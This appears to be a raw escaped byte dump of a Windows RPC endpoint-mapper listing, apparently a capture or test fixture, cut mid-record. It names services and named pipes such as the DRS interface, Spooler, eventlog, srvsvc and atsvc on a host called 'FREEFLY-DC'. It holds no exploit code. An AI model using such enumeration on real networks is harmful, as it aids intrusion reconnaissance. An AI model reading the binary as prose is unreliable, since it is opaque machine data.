00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00q\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00r\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00s\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00t\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00u\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00v\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00w\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00y\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00z\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00{\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00~\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x81\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x82\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x83\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x84\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x86\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x87\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x88\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x89\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00MS NT Directory DRS Interface\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8a\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00Spooler function endpoint\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8b\x00\x00\x00\x00\x00\x00\x00$\x00\x00\x00Spooler base remote object endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8c\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00Spooler function endpoint\x00\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8d\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8e\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8f\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x91\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x92\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x93\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x94\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x95\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x96\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x97\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00IPSec Policy agent endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x98\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00IPSec Policy agent endpoint\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x99\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00Remote Fw APIs\x00\xdd\x08n\xfb\xec\xaek\x1a@\x97}\x10x\xd7\xe2A\xd4\x9a\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x08n\xfb\xec\xaek\x1a@\x97}\x10x\xd7\xe2A\xd4\x9b\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd-\xa9\xf0%\x1d.\xe5N\xa4CG\xa6\xd0\xf3W!\x9c\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xddx\xaf\x13\x9aR\x87\xedL\xaa\xfa\xb2\x1e\xd8\x8a\xbf\\\x9d\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xddR\x19\x10\xdd\x0c\xfb\x8f@\xa3\xfa6\x1a\x07a\xd5U\x9e\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x94\xedS\xe7>mlB\xba><\x11\xf1\x07\xe2`\x9f\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xdd\xdd\xdd\x07\xed\xc1[\xf5\xf5_H\x9d\xfdo\xd0\xac\xf9\xa2<\xa0\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00Frs2 Service\x00\xdd\xdd\xdd\x07\xed\xc1[\xf5\xf5_H\x9d\xfdo\xd0\xac\xf9\xa2<\xa1\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00Frs2 Service\x00\xcc\xcc\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rp\xfeZ\xd9\xd5\xa6YB\x82.,\x84\xda\x1d\xdb\r\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x00\x01\x00\t\x04\x00\x00\x00\x00\x00\xccP\x00\x00\x00P\x00\x00\x00\x04\x00\x13\x00\rp\xfeZ\xd9\xd5\xa6YB\x82.,\x84\xda\x1d\xdb\r\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x10\x00WindowsShutdown\x00e\x00\x00\x00e\x00\x00\x00\x05\x00\x13\x00\rp\xfeZ\xd9\xd5\xa6YB\x82.,\x84\xda\x1d\xdb\r\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x13\x00\\PIPE\\InitShutdown\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xcc\xccO\x00\x00\x00O\x00\x00\x00\x04\x00\x13\x00\rp\xfeZ\xd9\xd5\xa6YB\x82.,\x84\xda\x1d\xdb\r\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0f\x00WMsgKRpc052A70\x00\xccP\x00\x00\x00P\x00\x00\x00\x04\x00\x13\x00\r\xc3&\xf2v\x14\xec%C\x8a\x99jF4\x84\x18\xaf\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x10\x00WindowsShutdown\x00e\x00\x00\x00e\x00\x00\x00\x05\x00\x13\x00\r\xc3&\xf2v\x14\xec%C\x8a\x99jF4\x84\x18\xaf\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x13\x00\\PIPE\\InitShutdown\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xcc\xccO\x00\x00\x00O\x00\x00\x00\x04\x00\x13\x00\r\xc3&\xf2v\x14\xec%C\x8a\x99jF4\x84\x18\xaf\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0f\x00WMsgKRpc052A70\x00\xccX\x00\x00\x00X\x00\x00\x00\x04\x00\x13\x00\r\xb5m\xac\xc9\xb7\x82UN\xae\x8a\xe4d\xed{Bw\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x18\x00LRPC-755a2d4ec93d5695ee\x00O\x00\x00\x00O\x00\x00\x00\x04\x00\x13\x00\r\xd8]\xe6\x12\x7f\x88\xefA\x91\xbf\x8d\x81lB\xc2\xe7\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0f\x00WMsgKRpc052C21\x00\xccO\x00\x00\x00O\x00\x00\x00\x04\x00\x13\x00\r\xc3&\xf2v\x14\xec%C\x8a\x99jF4\x84\x18\xaf\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0f\x00WMsgKRpc052C21\x00\xccI\x00\x00\x00I\x00\x00\x00\x04\x00\x13\x00\r\xc5(G<\xab\xf0\x8bD\xbd\xa1l\xe0\x1e\xb0\xa6\xd5\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\t\x00dhcpcsvc\x00\xcc\xcc\xccJ\x00\x00\x00J\x00\x00\x00\x04\x00\x13\x00\r\xc5(G<\xab\xf0\x8bD\xbd\xa1l\xe0\x1e\xb0\xa6\xd5\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\n\x00dhcpcsvc6\x00\xcc\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r\xc5(G<\xab\xf0\x8bD\xbd\xa1l\xe0\x1e\xb0\xa6\xd5\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x01\x01\x00\t\x04\x00\x00\x00\x00\x00\xcca\x00\x00\x00a\x00\x00\x00\x05\x00\x13\x00\r\xc5(G<\xab\xf0\x8bD\xbd\xa1l\xe0\x1e\xb0\xa6\xd5\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0f\x00\\pipe\\eventlog\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xcc\xccI\x00\x00\x00I\x00\x00\x00\x04\x00\x13\x00\r\xc5(G<\xab\xf0\x8bD\xbd\xa1l\xe0\x1e\xb0\xa6\xd5\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\t\x00eventlog\x00\xcc\xcc\xccJ\x00\x00\x00J\x00\x00\x00\x04\x00\x13\x00\r\xc5(G<\xab\xf0\x8bD\xbd\xa1l\xe0\x1e\xb0\xa6\xd6\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\n\x00dhcpcsvc6\x00\xcc\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r\xc5(G<\xab\xf0\x8bD\xbd\xa1l\xe0\x1e\xb0\xa6\xd6\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x01\x01\x00\t\x04\x00\x00\x00\x00\x00\xcca\x00\x00\x00a\x00\x00\x00\x05\x00\x13\x00\r\xc5(G<\xab\xf0\x8bD\xbd\xa1l\xe0\x1e\xb0\xa6\xd6\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0f\x00\\pipe\\eventlog\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xcc\xccI\x00\x00\x00I\x00\x00\x00\x04\x00\x13\x00\r\xc5(G<\xab\xf0\x8bD\xbd\xa1l\xe0\x1e\xb0\xa6\xd6\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\t\x00eventlog\x00\xcc\xcc\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r\x0c\xc5\xad0\xbc\\\xceF\x9a\x0e\x91\x91G\x89\xe2<\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x01\x01\x00\t\x04\x00\x00\x00\x00\x00\xcca\x00\x00\x00a\x00\x00\x00\x05\x00\x13\x00\r\x0c\xc5\xad0\xbc\\\xceF\x9a\x0e\x91\x91G\x89\xe2<\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0f\x00\\pipe\\eventlog\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xcc\xccI\x00\x00\x00I\x00\x00\x00\x04\x00\x13\x00\r\x0c\xc5\xad0\xbc\\\xceF\x9a\x0e\x91\x91G\x89\xe2<\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\t\x00eventlog\x00\xcc\xcc\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r\xf7\xaf\xbe\xf6\x19\x1e\xbbO\x9f\x8f\xb8\x9e \x183|\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x01\x01\x00\t\x04\x00\x00\x00\x00\x00\xcca\x00\x00\x00a\x00\x00\x00\x05\x00\x13\x00\r\xf7\xaf\xbe\xf6\x19\x1e\xbbO\x9f\x8f\xb8\x9e \x183|\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0f\x00\\pipe\\eventlog\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xcc\xccI\x00\x00\x00I\x00\x00\x00\x04\x00\x13\x00\r\xf7\xaf\xbe\xf6\x19\x1e\xbbO\x9f\x8f\xb8\x9e \x183|\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\t\x00eventlog\x00\xcc\xcc\xcc_\x00\x00\x00_\x00\x00\x00\x05\x00\x13\x00\rj\x07-U)\xcbDN\x8bj\xd1^Y\xe2\xc0\xaf\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\r\x00\\PIPE\\srvsvc\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\rj\x07-U)\xcbDN\x8bj\xd1^Y\xe2\xc0\xaf\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x02\x01\x00\t\x04\x00\x00\x00\x00\x00\xcc^\x00\x00\x00^\x00\x00\x00\x05\x00\x13\x00\rj\x07-U)\xcbDN\x8bj\xd1^Y\xe2\xc0\xaf\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0c\x00\\PIPE\\atsvc\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccH\x00\x00\x00H\x00\x00\x00\x04\x00\x13\x00\rj\x07-U)\xcbDN\x8bj\xd1^Y\xe2\xc0\xaf\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x08\x00senssvc\x00`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\rj\x07-U)\xcbDN\x8bj\xd1^Y\xe2\xc0\xaf\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE7F700A20D38041EEBE253CC2C3D8\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\rj\x07-U)\xcbDN\x8bj\xd1^Y\xe2\xc0\xaf\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00IUserProfile2\x00\xcc\xcc_\x00\x00\x00_\x00\x00\x00\x05\x00\x13\x00\r \xe5\x98\xa3\x9a\xd5\xddK\xaaz<\x1e\x03\x03\xa5\x11\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\r\x00\\PIPE\\srvsvc\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r \xe5\x98\xa3\x9a\xd5\xddK\xaaz<\x1e\x03\x03\xa5\x11\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x02\x01\x00\t\x04\x00\x00\x00\x00\x00\xcc^\x00\x00\x00^\x00\x00\x00\x05\x00\x13\x00\r \xe5\x98\xa3\x9a\xd5\xddK\xaaz<\x1e\x03\x03\xa5\x11\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0c\x00\\PIPE\\atsvc\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccH\x00\x00\x00H\x00\x00\x00\x04\x00\x13\x00\r \xe5\x98\xa3\x9a\xd5\xddK\xaaz<\x1e\x03\x03\xa5\x11\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x08\x00senssvc\x00`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r \xe5\x98\xa3\x9a\xd5\xddK\xaaz<\x1e\x03\x03\xa5\x11\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 \x00OLE7F700A20D38041EEBE253CC2C3D8\x00N\x00\x00\x00N\x00\x00\x00\x04\x00\x13\x00\r \xe5\x98\xa3\x9a\xd5\xddK\xaaz<\x1e\x03\x03\xa5\x11\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x0e\x00IUserProfile2\x00\xcc\xccK\x00\x00\x00K\x00\x00\x00\x05\x00\x13\x00\r\x03mq\x98\xac\x89\xc7D\xbb\x8c(X$\xe5\x1cJ\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc0\x02\x01\x00\t\x04\x00\x00\x00\x00\x00\xcc^\x00\x00\x00^\x00\x00\x00\x05\x00\x13\x00\r\x03mq\x98\xac\x89\xc7D\xbb\x8c(X$\xe5\x1cJ\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x0f\x0c\x00\\PIPE\\atsvc\x00\x01\x00\x11\r\x00\\\\FREEFLY-DC\x00\xcc\xccH\x00\x00\x00H\x00\x00\x00\x04\x00\x13\x00\r\x03mq\x98\xac\x89\xc7D\xbb\x8c(X$\xe5\x1cJ\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10\x08\x00senssvc\x00`\x00\x00\x00`\x00\x00\x00\x04\x00\x13\x00\r\x03mq\x98\xac\x89\xc7D\xbb\x8c(X$\xe5\x1cJ\x01\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0c\x02\x00\x00\x00\x01\x00\x10 